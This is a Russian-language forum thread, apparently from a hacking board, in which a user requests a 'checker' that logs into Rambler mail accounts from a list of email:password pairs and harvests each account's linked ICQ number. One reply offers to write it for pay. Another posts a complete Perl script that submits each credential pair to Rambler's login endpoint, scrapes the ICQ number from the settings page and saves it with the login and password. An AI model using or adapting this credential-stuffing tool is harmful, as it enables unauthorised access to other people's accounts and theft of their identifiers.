Rambler Checker

Народ , кто поможет написать скрипт ?
Суть :
Есть список мыл:паролей (txt)
qwe@ramber.ru:Пassword

Нужно :
Логинится через

Code:

http://mail.rambler.ru/script/auth.cgi

Нажимать на ссылку с именем ящика qwe@ramber.ru
(ссылка вида http://id.rambler.ru)
Открывается страница

Code:

http://id.rambler.ru/script/settings.cgi

На странице искать следующие строки :

Code:

Ваш номер ICQ: 12345 

Результат записывать в файл , допустим , out.txt
примерно в таком виде

Code:

12345 : qwe@ramber.ru

Огромное спасибо за помощь

 

За $ напишу...стукай в асю

 

Спасибо , но воздержусь пока ...

 

Тут тебя врятли помогут написать скрипт, но поздказать смогут без проблем, учи php, и пользуйся сокетами или cURL и удачи тебе

 

йа сегодня добрый

Code:

#!/usr/bin/perl -w

use strict;
use LWP::UserAgent;
use HTTP::Cookies;

print "\nRambler.ru ICQ parser $0 Coded by C!klodoL\n";

my $mails = 'rambler.txt'; #мыла
my $icqs  = 'icq.txt';  #осику

open(my $inFile, "<$mails");
my @mail = <$inFile>;
close $inFile;
chomp @mail;

open(my $outFile, ">>$icqs");

my $ua = LWP::UserAgent->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
my $cookies = HTTP::Cookies->new();
$ua->cookie_jar($cookies);

while (@mail) {
	my ($user, $pass) = split(/:/, shift(@mail));
	$user =~ s/@.+//;
	my $req = $ua->post("http://mail.rambler.ru/script/auth.cgi?login=$user&passw=$pass")->as_string;
	my ($location) = $req =~ /Location: (.+)/;
	if ($location) {
		$req = $ua->get($location);
		$req = $ua->get('http://id.rambler.ru/script/settings.cgi')->as_string;
		my ($icq) = $req =~ /ICQ">(\d+)/;
		if ($icq) {
			print "$icq:$user:$pass\n";
			print $outFile "$icq:$user:$pass\n";
			} else {
				print "NoICQ:$user:$pass\n";
				print $outFile "NoICQ:$user:$pass\n";
				}
		}
$cookies->clear;
}

правда я хз банят ли там за частые запросы

 

Опа спасибо ))